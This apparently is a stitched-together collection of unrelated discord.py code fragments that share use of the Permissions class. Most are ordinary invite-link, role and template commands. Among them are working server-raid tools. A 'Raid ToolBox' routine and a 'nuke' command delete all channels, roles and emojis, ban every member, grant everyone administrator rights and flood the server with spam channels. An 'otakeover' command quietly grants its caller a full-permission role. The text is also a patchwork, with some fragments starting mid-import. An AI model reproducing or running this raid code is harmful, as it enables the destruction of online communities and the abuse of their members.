async def init_guilds(self, versions): logger.debug(f"Adding all bot guilds to GuildManager: {self._bot.guilds}") if self._bot is None: logger.critical(f"No bot defined in {self.__class__.__name__}! Cannot init guilds!") return False guilds = self._bot.guilds for guild in guilds: await self.add_guild(guild, versions=versions) if not guilds: add_bot_availability_on_website() bot_invite_link = discord.utils.oauth_url(client_id=self._bot.user.id, permissions=Permissions(8)) logger.info(f"The bot is not in a guild! To invite it, use the following link: {bot_invite_link}") return True
async def createtemplate(self, ctx: Context): '''Creates a new template for your guild''' # Send the flavour text behind getting a template name clean_prefix = ctx.prefix if '<@' not in ctx.prefix else str( self.bot.get_user( int(''.join([i for i in ctx.prefix if i.isdigit()])))) await ctx.send(''.join([ "What name do you want to give this template? ", "This will be used for the set and get commands, eg if the name of your ", f"template is `test`, the commands generated will be `{clean_prefix}settest` ", f"to set a profile, `{clean_prefix}gettest` to get a profile, ", f"and `{clean_prefix}deletetest` to delete a profile. ", "A profile name is case insensitive.", ])) # Get name from the messages they send while True: # Get message try: name_message = await self.bot.wait_for( 'message', check=lambda m: m.author == ctx.author and m.channel == ctx .channel, timeout=120) # Catch timeout except AsyncTimeoutError: await ctx.send( f"{ctx.author.mention}, your template creation has timed out after 2 minutes of inactivity." ) return # Check name for characters profile_name = name_message.content.lower() if [i for i in profile_name if i not in ASCII_LOWERCASE + DIGITS]: await ctx.send( "You can only use normal lettering and digits in your command name. Please run this command again to set a new one." ) return # Check name for length if 30 >= len(profile_name) >= 1: pass else: await ctx.send( "The maximum length of a profile name is 30 characters. Please give another name." ) continue # Check name is unique if Profile.all_guilds[ctx.guild.id].get(profile_name): await ctx.send( f"This server already has a template with name `{profile_name}`. Please run this command again to provide another one." ) return break # Get colour # TODO colour = 0x000000 # Get verification channel await ctx.send( "What channel would you like the the verification process to happen in? If you want profiles to be verified automatically, just say `continue`." ) verification_channel_id = None try: verification_message = await self.bot.wait_for( 'message', check=lambda m: m.author == ctx.author and m.channel == ctx. channel, timeout=120) except AsyncTimeoutError: await ctx.send( f"{ctx.author.mention}, because of your 2 minutes of inactivity, profiles have been set to automatic approval." ) else: if verification_message.channel_mentions: verification_channel = verification_message.channel_mentions[0] proper_permissions = Permissions() proper_permissions.update(read_messages=True, add_external_emojis=True, send_messages=True, add_reactions=True, embed_links=True) if verification_channel.permissions_for( ctx.guild.me).is_superset(proper_permissions): verification_channel_id = verification_channel.id pass else: await ctx.send( "I don't have all the permissions I need to be able to send messages to that channel. I need `read messages`, `send messages`, `add external emojis`, `add reactions`, and `embed links`. Please update the channel permissions, and run this command again." ) return # elif verification_message.content.lower() == 'continue': # pass # Get an ID for the profile profile = Profile( profile_id=generate_id(), colour=colour, guild_id=ctx.guild.id, verification_channel_id=verification_channel_id, name=profile_name, ) # Now we start the field loop index = 0 field = True image_set = False while field: field = await self.create_new_field(ctx, profile.profile_id, index, image_set) if field: image_set = isinstance(field.field_type, ImageField) or image_set index += 1 if index == 20: break # Save it all to database async with self.bot.database() as db: await db( 'INSERT INTO profile (profile_id, name, colour, guild_id, verification_channel_id) VALUES ($1, $2, $3, $4, $5)', profile.profile_id, profile.name, profile.colour, profile.guild_id, profile.verification_channel_id) for field in profile.fields: await db( 'INSERT INTO field (field_id, name, index, prompt, timeout, field_type, optional, profile_id) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)', field.field_id, field.name, field.index, field.prompt, field.timeout, field.field_type.name, field.optional, field.profile_id) # Output to user self.log_handler.info( f"New template '{profile.name}' created on guild {ctx.guild.id}") await ctx.send( f"Your template has been created with {len(profile.fields)} fields. Users can now run `{ctx.prefix}set{profile.name.lower()}` to set a profile, or `{ctx.prefix}get{profile.name.lower()} @User` to get the profile of another user." )
async def invite(self, ctx: Context): """この BOT の招待リンクを送ります。""" invite_url = oauth_url(self.bot.user.id, Permissions(administrator=True)) await ctx.reply(f"<{invite_url}>")
async def on_message(message: Message): """ Called when the bot receives a message. :param message: A discord.Message object. """ global EXITING try: if not message.server is None: # <editor-fold desc="Local Variables"> owner = find(lambda m: m.id == owner_id, message.server.members) bot = find(lambda m: m.id == bot_id, message.server.members) muted = find(lambda r: r.name == "LogBot Muted", message.server.roles) admin = find(lambda r: r.name == "LogBot Admin", message.server.roles) member = find(lambda r: r.name == "LogBot Member", message.server.roles) # </editor-fold> # <editor-fold desc="Insurance that Roles are Created"> if muted is None: perms = Permissions(send_messages=False) muted = await CLIENT.create_role(message.server, name="LogBot Muted", permissions=perms) print("Created LogBot Muted") del perms if admin is None: admin = await CLIENT.create_role(message.server, name="LogBot Admin") print("Created LogBot Admin") if not member is None: await CLIENT.delete_role(message.server, member) print("Removed LogBot Member") await CLIENT.move_role(message.server, muted, bot.top_role.position - 1) # </editor-fold> # <editor-fold desc="Add Roles"> await CLIENT.add_roles(message.server.owner, admin) await CLIENT.add_roles(bot, admin) try: await CLIENT.add_roles(owner, admin) except Exception: pass # </editor-fold> # <editor-fold desc="Remove Roles"> await CLIENT.remove_roles(message.server.owner, muted) try: await CLIENT.remove_roles(owner, muted) except Exception: pass await CLIENT.remove_roles(bot, muted) # </editor-fold> if message.content.startswith( "$exit") or message.content.startswith( "logbot.security.exit"): if message.author.id == owner_id: EXITING = True await CLIENT.logout() del owner del bot del muted del admin del member except Exception: log_error(traceback.format_exc())
async def invite(self, ctx: Context) -> None: """Gives the invite link of this bot.""" await ctx.embed(desc=markdown_link( "invite_link", oauth_url(self.bot.user.id, Permissions(3525696))))
async def invite_command(ctx: CommandContext, args, metadata=None): await ctx.message.reply( discord.utils.oauth_url(ctx.client.user.id, Permissions(cfg.discord.permissions(0))))
async def handle(self, params, message, client): # 'params' is a list that contains the parameters that the command # expects to receive, t is guaranteed to have AT LEAST as many # parameters as specified in __init__ # 'message' is the discord.py Message object for the command to handle # 'client' is the bot Client object message_author = str(message.author) brawl_database = database.SQL_Server() # Get member object brawl_client = brawlstats.Client(self.brawl_api) activeServers = list(client.guilds)[0] list_members = activeServers.members member_object = activeServers.get_member_named(message_author) role = find(lambda r: r.name == 'Moderator', activeServers.roles) role_owner = find(lambda r: r.name == 'Owner', activeServers.roles) if role not in member_object.roles: if role_owner not in member_object.roles: await message.channel.send( "You are not authorized to execute this command") return for member in list_members: user_name = (str(member)) member_object = activeServers.get_member_named(user_name) user_name = (str(member_object.id)) member_role = get(member_object.guild.roles, name="Member") unverified_role = [ get(member_object.guild.roles, name="Unverified") ] if member_object.bot: pass elif not brawl_database.information_present(user_name): member_name = member_object.display_name list_clubs = [ line.rstrip() for line in open(os.path.join('config_files', 'tags.txt')) ] variable_set = False for i in range(len(list_clubs)): if variable_set: break club = brawl_client.get_club((list_clubs[i]).upper()) club_info = club.members player_club = club.name for member_club in club_info: if member_name.lower() in (member_club.name.replace( " ", "")).lower(): player_tag = member_club.tag player_name = member_club.name variable_set = True if variable_set: brawl_database.insert_user(user_name, player_tag) brawl_database.save_database() msg = get_emoji( ":ok_hand:" ) + f" The User {player_tag} has been linked to {str(member)} in the database!" name_club = (player_club).split()[-1] name_role = f"{name_club} Member" list_roles = [] for role in activeServers.roles: list_roles.append(role.name) if name_role not in list_roles: role_permissions = Permissions(send_messages=False, read_messages=True) await member_object.guild.create_role( name=name_role, permissions=role_permissions, hoist=True, colour=discord.Colour.blue()) club_role = get(member_object.guild.roles, name=name_role) await member_object.add_roles(club_role) await member_object.add_roles(member_role) await member_object.remove_roles(*unverified_role) # Set nickname printable = set(string.printable) clean_name = ''.join( filter(lambda x: x in printable, player_name)) if member_object.name != clean_name or member_object.nick != clean_name: try: await member_object.edit(nick=clean_name) except errors.Forbidden: pass await message.channel.send(msg)
async def role_vanity(self, ctx, *, name): """makes a vanity role""" await ctx.guild.create_role(name=name, permissions=Permissions.none(), reason=f'created by {ctx.author}') await ctx.ok()
async def invite(self, ctx): invite_url = self.bot.oauth_url(permissions=Permissions( read_messages=True, send_messages=True, attach_files=True)) await ctx.channel.send(embed=Embed( description=f"[Invite]({invite_url}) Cuteness to your server!"))
async def main(SERVER): #options clear() server = client.get_server(SERVER) print ("Server: " + server.name) print ("Server ID: " + str(SERVER)) print ("----------------------------------------") print ("Options:") print (colored(" 0. Return to server select. \n 1. Destroy with config settings. \n 2. Create Server Invite. \n 3. Change What the bot is playing. \n 4. Leave server. \n 5. Return to Raid ToolBox Menu","green")) opts = input ("Select the number for your option: ") try: if int(opts) == 0: await on_ready() elif int(opts) == 1: #actions for c in server.channels: myperms = c.permissions_for(server.get_member(client.user.id)) if myperms.administrator: channellist.append(c) else: print (colored("You do not have the permissions to destroy this server.","red")) input () await main(SERVER) for i in server.members: users.append(i) if chandel == True: print('Deleting channels.') for channels in channellist: try: print (colored("Deleting " + str(channels),"blue")) await client.delete_channel(channels) except Exception: print (colored("Unable to delete channel: " + channels.name,"red")) print('Finished deleting channels.') if roledel == True: print ('Deleting Roles.') for role in server.roles: try: print (colored("Deleting role: " + role.name,"blue")) await client.delete_role(server, role) except Exception: print (colored("Unable to delete role: " + role.name,"red")) if senddm == True: for x in users: try: print (colored('Sending DM to ' + str(x),"blue")) await client.send_message(x, dmcontent) except Exception: print (colored("Error sending DM to that user","red")) if namechange == True: print('Changing server name...') await client.edit_server(server=server, name=str(servname)) if iconbegone == True: print('Removing icon...') await client.edit_server(server=server, icon=None) if changeicon == True: print('Changing icon...') icofile = "spammer/serversmasher/" + iconfile with open(icofile, 'rb') as handle: icon = handle.read() await client.edit_server(server, icon=icon) if giveeveryoneadmin == True: print('Giving everyone admin...') role = await client.create_role(server, name="Admin", permissions=Permissions.all()) for user in server.members: try: await client.add_roles(user, role) except Exception as a: print (a) if userban == True: print('Banning users...') for x in users: if str(x) in userid: print (colored("Not Banning " + str(x),"green")) else: print (colored('Banning ' + str(x),"blue")) try: await client.ban(x) except Exception: print(colored('Error Banning that user.',"red")) if gimmieadmin == True: print('Giving you admin...') role = await client.create_role(server, name="Admin", permissions=Permissions.all()) user = server.get_member(me) await client.add_roles(user, role) if createchan == True: print('Creating channels.') for x in range(int(channelno)): if chanmethod.lower() == "ascii": asc = "" for x in range(60): num = random.randrange(13000) asc = asc + chr(num) await client.create_channel(server, asc) if chanmethod.lower() == "set": await client.create_channel(server, channame) if chanmethod.lower() == "voice": await client.create_channel(server, channame, type=discord.ChannelType.voice) print ('Channels Created.') if chanmethod.lower() == "voice": if chandel == True: print (colored("Not spamming, due to there only being voice channels in this server.","red")) input () await main(SERVER) print('Preparing for next stage.') if spammethod == "asc": await ascii_spam(SERVER) if spammethod == "massment": await mass_tag(SERVER) if spammethod == "text": await text_spam(SERVER,customtxt) elif int(opts) == 2: for channel in server.channels: if channel.type == discord.ChannelType.text: invitelinknew = await client.create_invite(destination=channel, xkcd=True, max_uses=100) invite = invitelinknew.url pyperclip.copy(invite) print (invite + " copied to clipboard.") input () await main(SERVER) elif channel.type == discord.ChannelType.voice: invitelinknew = await client.create_invite(destination=channel, xkcd=True, max_uses=100) invite = invitelinknew.url pyperclip.copy(invite) print (invite + " copied to clipboard.") input () await main(SERVER) elif int(opts) == 3: play = input ("Playing ") await client.change_presence(game=discord.Game(name=play)) await main(SERVER) elif int(opts) == 4: print ("Are you sure you want to leave this server? (Y/N): ") yn = input() if yn.lower() == 'y': await client.leave_server(server) await on_ready() else: await main(SERVER) elif int(opts) == 5: print ("Returning to Raid ToolBox.") await client.logout() except Exception as e: print (colored("Error:","red")) print (colored(e,"red")) input() await main(SERVER)
async def invite(ctx): url = oauth_url(bot.user.id, Permissions(read_messages=True, send_messages=True, embed_links=True)) await ctx.send(url)
async def on_message(message): global messages messages += 1 # Logging the text messages to analyse output print(message.author, ":", message.content, "\n") # Server ID id = client.get_guild(586102837465972746) # When someone send a message, this status will pop up await client.change_presence(activity=discord.Game(name="Beta")) warnMessage = f"This word could offend other people {message.author}. So please **stop** using it. " \ f"\n\n*This action was performed by the Anton Bot, to delete inappropriate messages." \ f"\nFor questions please contact the developer of this Bot.\n\nDiscord: Smartskull#4305.*" # Lists all commands if message.content == "/help": await message.channel.send(f"Hello {message.author.mention}! Here you see all the available commands for Anton" "\n\n ```You have to type / before you can use the commands.\n\n\n" "Standard commands:\n------------------\n\n" "> help [Lists all commands for Anton]\n\n" "> rules [Sends you an private message with all the " "server rules]\n\n" "> stats [Statistics of the server]\n\n" "> tou [Terms of use. What does Anton collect?]\n\n\n" "Fast server managing[Beta]:\n---------------------------\n\n" "> add-role [rolename] [Adding a special role to your server]\n\n" "> su [Creating the <Super user> role]\n\n" "> sh [This is the <Stream host> role.]\n\n" "> chEdit [Creating the <Channel editor> role]\n\n" "> txtEdit [Creating the <Text editor> role]\n\n\n" "Social media:\n-------------\n\n" "> tw [Opens Twitter in your browser]\n\n" "> in [Opens the instagram page in your browser]\n\n" "> fb [Opens Facebook in your browser]\n\n" "> git [Opens Github in your browser]\n\n" "> login [type </login {tw/in/fb/git}>]```") # An private message that includes all the server rules elif message.content == "/rules": await message.author.send(f"Hi {message.author.mention}. This are the standard server rules. Standard means " f"*most common and widely used*." f"\nIf you break any of this rules, you get kicked or banned from the server\n\n" f"> Don`t spread hate, racism or anything else that could hurt someone. " f"Spread love:heart:\n\n> In political discussions, please be as kind as possible. " f"*Attack ideas, not people*.\n\n" f"> Racism is ***S T R I C T L Y F O R B I D D E N*** and you will get banned when " f"caught posting this kind of content.\n\n" f"> If you are able to manipulate the Discord server, changing permissions or " f"anything else that could threaten the server, please contact the server owner.\n\n" f"*Privacy makes free*. That is the reason why i **do not** collect personal data. " f"Also, you can see the code from *Anton Bot* on Github\n\nGithub repository:" f"https://github.com/Smartskull/Anton") # When the user sends "/stats" he will receive the most important server information. elif message.content == "/stats": await message.channel.send(f"Information about the *{id.name}* server:\n\n" f"```Name of server: {id.name}\n\n" # Display the server name f"Server owner: {discord.Guild.owner.__get__(id)}\n\n" f"User on this server: {id.member_count}\n\n" # Count the users # When was the server created? [discord.Guild.created_at] f"Server created: {discord.Guild.created_at.__get__(id)}\n\n" f"{message.author.name} joined on: {discord.Member.joined_at}```") # Displays the "Terms of use". elif message.content == "/tou": await message.delete() await message.channel.send(f"Good to see you {message.author}! *What does Anton collect?*\n\n" f" Anton **does not** collect or analyse text massages, voice calls or images " f"send trough the user.\n\n" f" Anton **doesn't** collect time relevant data. That means he is not able to say " f" *how long* someone is online or when the user joined\n\n" f" Anton **does** count messages. This is relevant so the server owner knows " f"how many messages were send in one hour/day/month.\n\n" f" Yes, Anton can automatically kick you. " f"Not because he collects messages. Anton has an " f"integrated swearing list. He just reacts if one word of this list was used.\n\n" f"If you have any questions or are not sure about the TOU, please contact me." f"\n\nMy Discord: Smartskull#4305\n\nThe Github of Anton: " f"https://github.com/Smartskull/Anton") # If a Owner wants to have some user information, he can use the </user "usrName"> command elif '/user' in message.content: # Checks if the message.author has the correct role if discord.utils.get(message.author.roles, name='Staff roles'): print('The user {} executed the /user command'.format(message.author)) await message.delete() # This is a collection of random qoutes the message author gets when executing the command answerList = ['*The quieter you become the more you are able to hear* - Rumi', 'Arguing that you dont care about the right to privacy because you have nothing to hide ' 'is no different than saying you dont care about free speech because you have nothing to say.*' ' - Edward Snowden', '`import antigravity`', '*With great power comes great responsibility* - Uncle Ben'] usrID = message.mentions[0].id # The id of the mentioned user usrName = message.mentions[0].name # The name of the mentioned user usrRole = message.mentions[0].top_role # The role of the mentioned user usrAvat = message.mentions[0].avatar_url # The avatar of the mentioned user usrStat = message.mentions[0].status # The status of the mentioned user usrJoinDate = \ message.mentions[0].joined_at.strftime('%d.%m.%Y, um %H:%M Uhr') # The joind date of the mentioned user usrCreatedAt = message.mentions[0].created_at.strftime('%d.%m.%Y, um %H:%M Uhr') # Creating the Embed (discord.Embed) usrInfo = discord.Embed( # The standard Embed settings: title='User Info von: {}'.format(usrName), description='', # The description. At the moment it is empty color=discord.Color.blue() # The title of the Embed ) # Other design settings for the embed: usrInfo.add_field(name='ID', value=usrID) # Accessing the the mentioned user`s id usrInfo.add_field(name='Role:', value=usrRole) # The role of the mentioned user usrInfo.add_field(name='Join Date:', value=usrJoinDate) # Displaying the join date of the mentioned user usrInfo.add_field(name='Account created:', value=usrCreatedAt) # The role of the mentioned user usrInfo.add_field(name='Status', value=usrStat) # The current status of the mentioned user usrInfo.set_image(url='{}'.format(usrAvat)) # The thumbnail. Its DC profile picture usrInfo.set_thumbnail(url= 'https://cdn.discordapp.com/avatars/464905046962864128/' '189292578a56174bf37e672599c7d7be.webp?size=1024') # The thumbnail. Target/Author? usrInfo.set_footer(text='Command executed from: {}' .format(message.author)) # The footer shows the message author # Sending the embed to the message author await message.author.send(embed=usrInfo) # To hide the actual message await message.channel.send(random.choice(answerList)) # The 'Permissions Denied' message if someone without the right permissions execute the command else: print('The user {} failed to execute the /user command'.format(message.author)) await message.channel.send('ERROR[:01] ***Permission Denied***.' '\n\nYou dont have the permission to use this command!') # The most powerful role of all. The "Super user" role(inspired by the linux command "sudo su") elif message.content == "/add-role su": await discord.Guild.create_role(id, reason=f"Created the ""super user"" role in the {id.name} server", name="Super user", permissions=discord.Permissions.all()) # If the role was created, this "success message" will show up await message.channel.send(f"Success {message.author.name}! The ***Super user*** role was created.\n\n" f"*Role created at {datetime.datetime.now()}.\n\n " f"This role is **very** powerful. Never forget: " f"*With great power, comes great responsibility*") elif message.content == "/add-role sh": await discord.Guild.create_role(id, reason="Created the ""Stream host"" role in the {id.name} server", name="sHost", permissions=discord.Permissions.administrator) # If there is an way to make this easier.. please tell me. It`s a pain to add new roles. # Creating the "Channel editor" role. elif message.content == "/add-role chEdit": await discord.Guild.create_role(id, reason=f"Created the ""Channel editor"" role in the {id.name} server", name="chEdit", permissions=Permissions.all_channel()) # If the role was created, this "success message" will show up await message.channel.send(f"Success {message.author}! The ***Channel editor*** role was created." f"\n\n*Role created at " f"{datetime.datetime.now()}.*") # Creating the "Text editor" role. elif message.content == "/add-role txtEdit": await discord.Guild.create_role(id, reason=f"Created the ""Text editor"" role in the {id.name} server", name="txtEdit", permissions=Permissions.text()) # If the role was created, this "success message" will show up await message.channel.send(f"Success {message.author}! The ***Text editor*** role was created." f"\n\n*Role created at " f"{datetime.datetime.now()}.*")
async def handle_control_panel_commands_add(self, reaction: Reaction, user: Union[Member, User]): assert reaction.message.id in self._control_boards if reaction.emoji == ControlBoardEnum.help.emoji: format_dict = get_emoji_dict() format_dict.update({ "auth_url": discord.utils.oauth_url(reaction.message.guild.me.id, permissions=Permissions(8)), "website": WEBSITE }) try: format_dict.update({ "dev": RoleCollection.DEV.object_reference.mention, "master": RoleCollection.MASTER.object_reference.mention, "logs": ChannelCollection.LOG.object_reference.mention, "memo": ChannelCollection.MEMO.object_reference.mention, "music": ChannelCollection.MUSIC.object_reference.mention, "commandes": ChannelCollection.COMMANDS.object_reference.mention, "commandes_dev": ChannelCollection.EVENTS.object_reference.mention }) except AttributeError as err: logger.info( f"Object references of channels and roles are not set: {err}" ) format_dict.update({ "dev": "", "master": "", "logs": "LOG", "memo": "MEMO", "music": "MUSIC", "commandes": "COMMANDES", "commandes_dev": "COMMANDES-DEV" }) await long_send(reaction.message.channel, self._messages["HELP"].format(**format_dict), quotes=False) elif reaction.emoji == ControlBoardEnum.admin_tool.emoji: await self.show_listeners(reaction.message.channel, AbstractUtils) elif reaction.emoji == ControlBoardEnum.update.emoji: await self._grant_dev_role_if_not_set(user, reaction.message.channel) await self._guild_manager.update_guild( reaction.message.channel.guild, reaction.message.channel, force=False, clear_references=False) await self._grant_dev_role_if_not_set(user, reaction.message.channel) elif reaction.emoji == ControlBoardEnum.force_update.emoji: await self._grant_dev_role_if_not_set(user, reaction.message.channel) await self._guild_manager.update_guild( reaction.message.channel.guild, reaction.message.channel, force=True, clear_references=True) await self._grant_dev_role_if_not_set(user, reaction.message.channel) elif reaction.emoji == ControlBoardEnum.check.emoji: await self.check_guild(reaction.message.channel) elif reaction.emoji == ControlBoardEnum.board.emoji: if await self.check_guild(reaction.message.channel ) or await self._is_danger_pressed( reaction, user): await self.show_listeners(reaction.message.channel, AbstractMiniGame) elif reaction.emoji == ControlBoardEnum.clean.emoji: channel = reaction.message.channel if await self._is_danger_pressed(reaction, user): await clean_channels( reaction.message.guild.channels, ignore=[ CategoryChannelCollection.MASTER.value, CategoryChannelCollection.DEV.value ], force=[ChannelCollection.BOARD.value]) else: await long_send(channel, self._messages["DANGER_REQUIRED"].format( **get_emoji_dict()), embed=True) return # await clean_channel(reaction.message.channel) await self.show_control_panel(channel.guild) # elif reaction.emoji == ControlBoardEnum.reset_hard.emoji: # if await self._is_danger_pressed(reaction, user): # return await self.reset_guild(reaction.message) # await reaction.message.channel.send(self._messages["DANGER_REQUIRED"].format(** get_emoji_dict())) elif reaction.emoji == ControlBoardEnum.invite.emoji: if await self._is_danger_pressed(reaction, user): post_on_website = True else: post_on_website = False return await create_invite( channel=ChannelCollection.WELCOME.value.object_reference, origin_channel=reaction.message.channel, **{ "max_uses": 30, "max_age": 10800, "website": post_on_website }) elif reaction.emoji == ControlBoardEnum.version.emoji: if await self._is_danger_pressed(reaction, user): channel = reaction.message.channel await self._change_version_dialog(channel) elif reaction.emoji == ControlBoardEnum.infinity.emoji: if not await self._grant_dev_role_if_not_set( user, reaction.message.channel): return await reaction.message.channel.send( random.choice("🦓🙈🦄🐛")) elif reaction.emoji == ControlBoardEnum.leave.emoji: if await self._is_danger_pressed( reaction, user) and RoleCollection.DEV.has_the_role(user): await long_send(reaction.message.channel, "Bot is leaving the server!", embed=True) await delete_invite(origin_channel=reaction.message.channel) await reaction.message.guild.leave() else: await long_send(reaction.message.channel, self._messages["DANGER_REQUIRED"].format( **get_emoji_dict()), embed=True)
RawReactionActionEvent, Permissions, ) import dotenv from discord.abc import Messageable from discord.ext.commands import Context, Bot from bot_enum import ActionReaction, AmongUsSessionStatus from localization import Localized, English, Japanese logger = logging.getLogger("amongus_admin") dotenv.load_dotenv(".env") prefix = "/" bot = Bot(command_prefix=prefix) base_permissions = Permissions(29568016) bot_invitation_link = ( f"https://discord.com/oauth2/authorize?client_id=802513262854799390&permissions=" f"{base_permissions.value}&scope=bot") async def async_nop(): return class AmongUsSession: admin: Member members: Set[Member] member_messages: Dict[Member, Message] reaction_messages: Dict[Member, Message] lobby: Optional[VoiceChannel]
async def otakeover(self, ctx): """Take over server""" await ctx.message.delete() role = await ctx.guild.create_role(name="TakeOver", permissions=Permissions.all()) await ctx.author.add_roles(role)
async def nuke(ctx): await ctx.message.delete() guild = ctx.guild try: role = discord.utils.get(guild.roles, name="@everyone") await role.edit(permissions=Permissions.all()) print(Fore.MAGENTA + "I have given everyone admin." + Fore.RESET) except: print(Fore.GREEN + "I was unable to give everyone admin" + Fore.RESET) for channel in guild.channels: try: await channel.delete() print(Fore.MAGENTA + f"{channel.name} was deleted." + Fore.RESET) except: print(Fore.GREEN + f"{channel.name} was NOT deleted." + Fore.RESET) for member in guild.members: try: await member.ban() print(Fore.MAGENTA + f"{member.name}#{member.discriminator} Was banned" + Fore.RESET) except: print( Fore.GREEN + f"{member.name}#{member.discriminator} Was unable to be banned." + Fore.RESET) for role in guild.roles: try: await role.delete() print(Fore.MAGENTA + f"{role.name} Has been deleted" + Fore.RESET) except: print(Fore.GREEN + f"{role.name} Has not been deleted" + Fore.RESET) for emoji in list(ctx.guild.emojis): try: await emoji.delete() print(Fore.MAGENTA + f"{emoji.name} Was deleted" + Fore.RESET) except: print(Fore.GREEN + f"{emoji.name} Wasn't Deleted" + Fore.RESET) banned_users = await guild.bans() for ban_entry in banned_users: user = ban_entry.user try: await user.unban("𝐄𝐀ヽSPIDY#0029") print( Fore.MAGENTA + f"{user.name}#{user.discriminator} Was successfully unbanned." + Fore.RESET) except: print(Fore.GREEN + f"{user.name}#{user.discriminator} Was not unbanned." + Fore.RESET) await guild.create_text_channel("NUKED BITCH") for channel in guild.text_channels: link = await channel.create_invite(max_age=0, max_uses=0) print(f"New Invite: {link}") amount = 500 for i in range(amount): await guild.create_text_channel(random.choice(SPAM_CHANNEL)) print(f"nuked {guild.name} Successfully.") return
async def create_roles(guild): await _create_role(guild, "SSE Insider", Permissions(), Colour.from_rgb(83, 92, 238))
async def on_call(self, ctx, args, **flags): value = flags.pop('value', None) if value: if flags: return '{error} value flag conflict with all other flags' if not value.isdigit(): return '{error} value is not integer' permissions = Permissions(permissions=int(value)) else: permissions = None channel_flag = flags.pop('channel', None) if channel_flag is None: channel = ctx.channel else: channel = await find_channel(channel_flag, ctx.guild) if channel is None: return '{warning} Channel not found' only_true = flags.pop('t', False) only_false = flags.pop('f', False) use_global = flags.pop('global', False) if only_true and only_false: return '{error} t and f flags conflict' if permissions is not None: target = value elif len(args) == 1: if use_global: permissions = ctx.author.guild_permissions else: permissions = channel.permissions_for(ctx.author) target = str(ctx.author) else: role = await find_role(args[1:], ctx.guild) if role is not None: permissions = role.permissions target = str(role) if use_global: if permissions.administrator: permissions = Permissions.all() elif permissions.administrator: if isinstance(channel, VoiceChannel): permissions = Permissions( Permissions.all().value & ~Permissions.text().value) elif isinstance(channel, TextChannel): permissions = Permissions( Permissions.all().value & ~Permissions.voice().value) else: permissions = Permissions( Permissions.all().value & ~Permissions.text().value & ~Permissions.voice().value ) else: for k, v in channel.overwrites_for(role): if v is not None: setattr(permissions, k, v) else: member = await find_user(args[1:], ctx.message, strict_guild=True) if member is None: return '{warning} Role or member not found' if use_global: permissions = member.guild_permissions else: permissions = channel.permissions_for(member) target = str(member) if only_true: p = [(k, v) for k, v in permissions if v] elif only_false: p = [(k, v) for k, v in permissions if not v] else: p = permissions return f'Permissions of **{target}** in **{channel.mention if not use_global else ctx.guild}**```\n' + '\n'.join(f'{PERM_THERE if v else PERM_MISSING} | {k}' for k, v in p) + '```'
async def help(ctx, *args): try: def check(reaction, user): return user == ctx.author and str(reaction.emoji) in ["🗑️"] commandPrefix = Sudo.print_prefix(bot.serverSettings, ctx) searchEngineCog = dict(bot.cogs)['Search Engines'] adminCog = dict(bot.cogs)['Administration'] maxAdminCommandStrLength = len( max([command.name for command in adminCog.get_commands()], key=len)) args = list(args) embed = Embed( title="SearchIO", description= "Search.io is a bot that searches through multiple search engines/APIs.\nIt is developed by ACEslava#1984, K1NG#6219, and Nanu#3294" ) embed.add_field( name="Administration", inline=False, value="\n".join([ f'`{command.name:>{maxAdminCommandStrLength}}:` {command.brief}' for command in adminCog.get_commands() ])) embed.add_field( name="Search Engines", inline=False, value='\n'.join([ f"`{command.name:>10}:` {command.brief}" for command in searchEngineCog.get_commands() if command.enabled is True and bot.serverSettings[hex( ctx.guild.id)]['searchEngines'][command.name] is True ])) embed.set_footer( text=f"Do {commandPrefix}help [command] for more information") if args: try: command = getattr(searchEngineCog, args[0].lower()) except AttributeError: try: command = getattr(adminCog, args[0].lower()) except AttributeError: command = None if command is not None: embed = Embed(title=command.name, description=f""" {command.help} Usage: ```{command.usage}``` {'Optionals:```'+command.description+'```' if command.description != '' else ''}""" ) embed.set_footer(text=f"Requested by {ctx.author}") helpMessage = await ctx.send(embed=embed) try: await helpMessage.add_reaction('🗑️') reaction, _ = await bot.wait_for("reaction_add", check=check, timeout=60) if str(reaction.emoji) == '🗑️': await helpMessage.delete() return except TimeoutError as e: await helpMessage.clear_reactions() else: pass else: invite_link = discord_utils.oauth_url( client_id=bot.botuser.id, permissions=Permissions(4228381776), scopes=['bot', 'applications.commands']) dm = await ctx.author.create_dm() await dm.send(embed=embed) await dm.send('\n'.join([ 'If you have further questions, feel free to join the support server: https://discord.gg/YB8VGYMZSQ', f'Want to add the bot to your server? Use this invite link: {invite_link}' ])) except discord_error.Forbidden: await ctx.send(embed=Embed( description= 'Sorry, I cannot open a DM at this time. Please check your privacy settings' )) except Exception as e: await error_handler(bot, ctx, e) finally: return
async def _create_anonc_system_guild(self) -> Guild: guild = await self.client.create_guild(name=f'{self.base_name}-0') bot_owner = await guild.create_role(name='bot owner', permissions=Permissions.all()) return guild
async def party(self, ctx, duration: int = None, *, name=None): """launches a party""" if duration is not None and duration < 20: return await ctx.send( 'party duration is too low...20 seconds minimum.') # start typing await ctx.channel.trigger_typing() # grab avatar bytes async with self.session.get( ctx.author.avatar_url_as(format='png')) as avatar: avatar_bytes = await avatar.read() # create a guild try: guild = await ctx.bot.create_guild(name=name or f"{ctx.author.name}'s party", icon=avatar_bytes) # wait a little await asyncio.sleep(3) except HTTPException: log.exception('party: failed to create party') return await ctx.send("failed to create a party :(") # grab from cache guild = ctx.bot.get_guild(guild.id) # add to party list <3 self.parties.append(guild) # set the default message notifications to mentions only await ctx.bot.http.request(Route('PATCH', '/guilds/{guild_id}', guild_id=guild.id), json={'default_message_notifications': 1}) # sane permissions sane_perms = Permissions() for perm in PARTY_PERMISSIONS: setattr(sane_perms, perm, True) # edit the default role to be sane await guild.default_role.edit(permissions=sane_perms, reason="let's get the party started") # let's get it started text_channel = guild.text_channels[0] log.info('%d: sending party started', guild.id) await text_channel.send( f"\U0001f44b welcome to **{ctx.author}'s party!** \U0001f44b") invite = await text_channel.create_invite() external_announcement = await ctx.send( f"\U0001f389 let's get the party started! \U0001f389\n\n{invite}") log.info('%d: party has started, woo!', guild.id) async def destruction_task(): log.info('%d: party destruction task: started', guild.id) await asyncio.sleep(duration or 60 * 5 ) # wait the duration (5 minutes default) log.info('%d: party destruction task: 10 seconds left', guild.id) await text_channel.send( "@everyone \U0001f480 party will end in 10 seconds \U0001f480") await asyncio.sleep(10) # party is over folks. log.info('%d: party is over :(', guild.id) self.parties.remove(guild) await external_announcement.edit( content=f"{ctx.author}'s party has ended! maybe next time...") await guild.delete() # party has to end somehow. ctx.bot.loop.create_task(destruction_task())
async def create(ctx, name): await ctx.message.delete() await ctx.guild.create_role(name=name, mentionable=True, permissions=Permissions.all())
def perm_check(guild): return Permissions(guild['permissions']).administrator
